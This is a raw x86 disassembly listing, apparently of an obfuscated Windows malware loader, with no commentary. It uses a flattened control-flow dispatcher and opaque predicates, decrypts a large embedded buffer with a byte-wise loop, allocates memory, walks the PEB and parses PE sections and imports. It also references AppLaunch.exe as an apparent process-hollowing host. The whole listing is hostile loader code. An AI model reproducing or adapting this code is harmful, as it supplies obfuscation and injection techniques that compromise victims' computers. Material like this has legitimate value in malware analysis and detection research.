mov eax, 0x89adc9fd
setb byte [ebp - 0x8f]
jmp 0x401ac0
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0xc
mov eax, 0x226dd28d
jmp 0x401ac0
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x170]
mov dword [eax], ecx
mov eax, 0xd949290e
jmp 0x401ac0
mov eax, 0x2d99aecc
jmp 0x401ac0
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x38]
mov ebx, 0xab35d943
mov edi, 0xf2eedfee
inc eax
mov dword [ecx], eax
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xf2eedfee
jmp 0x401a97
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x44]
mov edx, dword [edx]
mov edi, dword [ebp - 0x34]
mov edi, dword [edi]
lea edi, [edi + edi*4]
add ecx, dword [edx + edi*4 + 0x10]
mov edx, dword [ebp - 0x38]
mov edx, dword [edx]
mov dword [ecx + edx*4], eax
mov eax, 0xd670e348
jmp 0x401ac0
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x64]
mov eax, 0x5b42048e
jmp 0x401ac0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x150], eax
mov eax, 0x6405223e
jmp 0x401ac0
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x1b4], eax
mov eax, 0x5b681b62
jmp 0x401ac0
mov eax, dword [0x4ec418]
mov ebx, 0xa6df9000
mov edi, 0x2c233712
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x2c233712
jmp 0x405075
mov eax, dword [ebp - 0x16c]
movzx eax, word [eax]
mov word [ebp - 0xe6], ax
mov eax, 0x798414f1
jmp 0x401ac0
push dword [ebp - 0xdc]
push dword [ebp - 0x1c8]
push dword [ebp - 0x1cc]
push dword [ebp - 0x1d0]
vzeroupper
call fcn.004018e0
add esp, 0x10
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x58]
mov eax, 0xdc9d57d9
jmp 0x401ac0
mov eax, dword [ebp - 0x150]
add eax, 0x34
mov dword [ebp - 0x154], eax
mov eax, 0x1c4884a1
jmp 0x401ac0
push 4
push 0x3000
push dword [ebp - 0x120]
push esi
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov ecx, 0x94bf8ae2
mov eax, dword [ebp - 0x60]
cmp dword [eax + 4], 0
mov eax, 0xeb59820e
cmove eax, ecx
jmp 0x401ac0
mov eax, dword [ebp - 0x1b8]
mov eax, dword [eax + 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov ecx, 0xd65f7418
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0xc43b9296
cmove eax, ecx
jmp 0x401ac0
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x54]
mov eax, 0x5b586120
jmp 0x401ac0
mov eax, dword [ebp - 0x48]
mov ebx, 0x7bb3fa9f
mov edi, 0x90ef0b6d
mov eax, dword [eax]
mov ecx, dword [ebp - 0x84]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [0x4ec418]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x90ef0b6d
jmp 0x401a97
mov eax, dword [ebp - 0x38]
mov eax, 0x246a31d6
jmp 0x401ac0
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x178], eax
mov eax, 0x3a92a2b5
jmp 0x401ac0
cmp byte [ebp - 0x97], 0
mov eax, 0x5943f349
mov ecx, 0x63b3372
cmovne eax, ecx
jmp 0x401ac0
cmp dword [ebp - 0x124], 0
mov eax, 0x4baa0efb
mov ecx, 0x53796611
cmove eax, ecx
jmp 0x401ac0
mov eax, dword [ebp - 0x24]
mov eax, 0x4b6de2d0
jmp 0x401ac0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, 0xd883ee65
jmp 0x401ac0
mov eax, dword [ebp - 0x1c]
mov eax, 0x96d40a16
jmp 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x6bfc0753
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x4eba76d8
jmp 0x40568a
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
sub eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, 0xeb50d70d
jmp 0x401ac0
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x6c]
vmovups ymm0, ymmword [0x4df6de]
vmovups ymm1, ymmword [0x4df6c6]
vmovups ymm2, ymmword [0x4df6a6]
mov dword [ecx], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x5c]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
add eax, 0x24
mov dword [ecx], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x70]
setne byte [eax]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x70]
mov eax, 0x29d89c36
jmp 0x401ac0
mov eax, 0x8c97814a
jmp 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x4520762d
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x872bf2f5
jmp 0x404815
mov eax, dword [ebp - 0x58]
mov dword [eax], 2
mov eax, 0x1308b344
jmp 0x401ac0
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x108]
mov edi, 0x393ae3dd
mov ebx, 0x2c233712
mov dword [eax], ecx
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x2c233712
jmp 0x40573f
mov eax, 0x6e866861
jmp 0x401ac0
mov eax, dword [ebp - 0x24]
mov eax, 0xf0279f96
jmp 0x401ac0
mov eax, dword [ebp - 0x58]
mov edi, 0x2754b7bc
mov dword [eax], 0x40
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x192de0c9
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
cmovge ecx, edi
mov eax, ecx
jmp 0x401ac0
mov eax, dword [0x4ec418]
mov edi, 0x3d627b15
mov ebx, 0xe07d97cf
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xe07d97cf
jmp 0x40573f
mov edx, dword [0x4ec418]
mov ecx, dword [0x4ec414]
mov edi, 0xedec29a2
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xe0e29eed
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x30]
cmovge eax, edx
mov ecx, dword [ecx]
mov dword [ebp - 0x144], ecx
jmp 0x401ac0
mov eax, dword [ebp - 0xb0]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0xb4]
mov dword [eax], 0
mov eax, dword [ebp - 0x2c]
mov dword [eax], 1
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x60]
mov eax, 0x6bfc0753
jmp 0x401ac0
movzx eax, word [ebp - 0xca]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, 0xfe4d8dcb
jmp 0x401ac0
mov eax, 0xf024e988
jmp 0x401ac0
mov eax, dword [0x4ec418]
mov edi, 0x3c0ba314
mov ebx, 0xb64cc279
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb64cc279
jmp 0x40563f
mov eax, 0x5d8c4fb1
jmp 0x401ac0
mov eax, dword [ebp - 0x1c]
mov edi, 0x7b6d8614
mov ebx, 0xf179a854
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
sub eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xf179a854
jmp 0x405580
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xa0]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.0043c170
add esp, 0xc
mov eax, dword [ebp - 0x40]
mov eax, 0xd43df00
jmp 0x401ac0
mov eax, 0x9a1164eb
jmp 0x401ac0
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
mov eax, 0x87400
call fcn.004392f0
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xbc], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xd4], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
mov eax, dword [0x4ec418]
mov ebx, 0x6a5cc81e
mov edi, 0x96505e74
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x96505e74
jmp 0x40506d
mov eax, dword [ebp - 0x20]
mov edi, 0xd1140c95
mov ebx, 0xe6ea8a30
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0x140], eax
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xe6ea8a30
jmp 0x40563f
mov eax, dword [ebp - 0xc4]
mov eax, dword [0x4ec418]
mov ebx, 0x96d40a16
mov edi, 0x33a48c1d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x33a48c1d
jmp 0x40506d
mov eax, 0x193cf956
jmp 0x401ac0
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x14c]
cmp ecx, dword [eax]
mov eax, 0x24854c1c
mov ecx, 0xe36ae8b
cmove eax, ecx
jmp 0x401ac0
mov eax, dword [ebp - 0x30]
mov eax, 0x4ce2319f
jmp 0x401ac0
mov edx, dword [0x4ec418]
mov ecx, dword [0x4ec414]
mov edi, 0x31ecccd3
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xd0e825ee
jmp 0x405476
mov eax, dword [ebp - 0x1b4]
mov ecx, 0x193cf956
cmp eax, 0xc
mov eax, 0xf9b105c8
cmove eax, ecx
jmp 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0xd1bc6b43
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x2754b7bc
jmp 0x40568a
mov eax, dword [ebp - 0x34]
mov eax, 0x84dd5481
jmp 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0xc836d383
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xd76de2da
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0xa8]
jmp 0x404822
mov eax, dword [ebp - 0x114]
mov ebx, 0x9ad47487
mov edi, 0x868c5606
cmp eax, dword [ebp - 0x118]
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
setl byte [ebp - 0x93]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x868c5606
jmp 0x401a97
mov edx, dword [0x4ec418]
mov ecx, dword [0x4ec414]
mov edi, 0xb64cc279
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x3e945e9
cmovne edi, ebx
test edx, eax
mov edx, dword [ebp - 0xf0]
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, edi
mov dword [ebp - 0x128], edx
jmp 0x401ac0
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x78], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
push 0x87400
push 0x458286
push dword [ebp - 0xb8]
vzeroupper
call fcn.0043c170
add esp, 0xc
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x14], 0x87400
mov dword [ebp - 0x18], eax
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
not byte [edi]
add byte [edi], 0x43
mov eax, 0xff
sub byte [edi], 0x56
imul byte [edi]
inc edi
loop 0x404d61
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov eax, 0xd6f499fa
jmp 0x401ac0
mov eax, 0x8c97814a
jmp 0x401ac0
mov eax, dword [0x4ec418]
mov ebx, 0xa2596db4
mov edi, 0xc3b8f446
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc3b8f446
jmp 0x405075
mov eax, dword [ebp - 0x1bc]
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0xf613601d
mov ecx, 0x3337befa
cmove eax, ecx
jmp 0x401ac0
mov eax, dword [ebp - 0x24]
mov edi, 0xa5552ea6
mov ebx, 0x3deb8935
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
and ecx, eax
mov eax, dword [0x4ec418]
mov dword [ebp - 0x1c4], ecx
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x3deb8935
jmp 0x40573f
mov eax, dword [ebp - 0x58]
mov dword [eax], 0x20
mov eax, 0x7fb642fd
jmp 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0xe07d97cf
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xb872f04c
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
movzx eax, byte [ebp - 0x49]
cmovge ecx, edi
mov edx, eax
xor dl, 0xfe
test dl, al
mov eax, ecx
setne byte [ebp - 0x99]
jmp 0x401ac0
mov eax, 0xe36ae8b
jmp 0x401ac0
mov eax, dword [ebp - 0x104]
mov ebx, 0x1c48a98
mov edi, 0xafdc341e
mov eax, dword [eax]
add eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov dword [eax], 0
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xafdc341e
jmp 0x405075
mov edx, dword [0x4ec418]
mov ecx, dword [0x4ec414]
mov edi, 0xfe4d8dcb
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x8b0e1fcf
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401ac0
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x198]
mov dword [ebp - 0x110], eax
mov eax, 0xf81ea019
jmp 0x401ac0
mov eax, dword [ebp - 0x2c]
mov dword [eax], 2
mov eax, 0x2ebb7e3a
jmp 0x401ac0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
mov edx, dword [ebp - 0x40]
lea eax, [ecx + eax + 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov eax, 0xddb7f516
jmp 0x401ac0
mov eax, dword [0x4ec418]
mov edi, 0x4b6de2d0
mov ebx, 0x945a3867
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x945a3867
jmp 0x40573f
mov eax, 0x33661b62
jmp 0x401ac0
mov eax, dword [ebp - 0xd4]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [eax + 4]
mov dword [ebp - 0x124], eax
mov eax, 0x55a3acb2
jmp 0x401ac0
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x100]
lea ecx, [ecx + ecx*4]
push dword [eax + ecx*8 + 0x10]
push dword [ebp - 0xf8]
push dword [ebp - 0xf4]
vzeroupper
call fcn.0043c170
add esp, 0xc
mov eax, dword [0x4ec418]
mov edi, 0xbb27f16a
mov ebx, 0x30ee6b42
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x30ee6b42
jmp 0x40563f
mov eax, dword [ebp - 0x1c]
mov ebx, 0x629268d4
mov edi, 0x62129cd6
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x104], eax
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x62129cd6
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4ec414], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x401ac0
mov eax, dword [0x4ec418]
mov ebx, 0x219d3628
mov edi, 0x86e7bc76
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x86e7bc76
jmp 0x401a97
mov eax, dword [ebp - 0x30]
mov edi, 0x7c97c48a
mov ebx, 0xc3b8f446
mov eax, dword [eax]
mov dword [ebp - 0x13c], eax
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc3b8f446
jmp 0x40563f
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xdfffffff
and ecx, eax
mov eax, 0x2a24704c
mov dword [ebp - 0x11c], ecx
jmp 0x401ac0
mov eax, 0x15b9b73b
jmp 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0xe3332b6e
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x2e235e14
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov dword [ebp - 0x17c], eax
jmp 0x404822
mov eax, 0x219d3628
jmp 0x401ac0
mov eax, dword [ebp - 0x58]
mov dword [eax], 0x40
mov eax, 0xd1bc6b43
jmp 0x401ac0
mov eax, dword [ebp - 0x10c]
mov eax, 0x8fc78b62
jmp 0x401ac0
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x1d8], eax
mov eax, 0xc03267ae
jmp 0x401ac0
mov eax, dword [ebp - 0x2c]
mov dword [eax], 5
mov eax, 0xf6055f86
jmp 0x401ac0
cmp byte [ebp - 0x92], 0
mov eax, 0x4c6350e5
mov ecx, 0x859b8647
cmovne eax, ecx
jmp 0x401ac0
mov eax, 0x54348b8d
jmp 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x333a83b0
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xa33a21ab
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x80]
jmp 0x404822
mov eax, 0x6d5bde80
jmp 0x401ac0
mov eax, 0xa02244cc
jmp 0x401ac0
mov eax, 0x95e148e9
jmp 0x401ac0
movzx eax, word [ebp - 0xe6]
mov ecx, 0xd949290e
not eax
or eax, 0xcfff
cmp ax, 0xffff
mov eax, 0x6b929613
cmove eax, ecx
jmp 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x246a31d6
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xd930659a
jmp 0x40568a
mov eax, dword [ebp - 0xb4]
mov dword [eax], 1
mov eax, 0xea172ac4
jmp 0x401ac0
mov eax, dword [ebp - 0x30]
mov eax, 0xa2596db4
jmp 0x401ac0
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x54]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0x1d0], eax
mov eax, 0x63e3e7d0
jmp 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x8ded161c
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xf5c9bae1
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xb8]
jmp 0x405698
mov eax, dword [ebp - 0x38]
mov ebx, 0x47bf8300
mov edi, 0xd930659a
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xd930659a
jmp 0x401a97
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x60]
add eax, 4
mov dword [ebp - 0x15c], eax
mov eax, 0x18e79a1
jmp 0x401ac0
mov eax, 0xcf8c9563
jmp 0x401ac0
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
add eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov eax, 0xde3979b3
jmp 0x401ac0
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0xa8]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, 0x21e22a1b
jmp 0x401ac0
mov eax, dword [ebp - 0x1c]
mov ebx, 0x5fb7c0df
mov edi, 0xc836d383
mov eax, dword [eax]
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x19c], eax
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
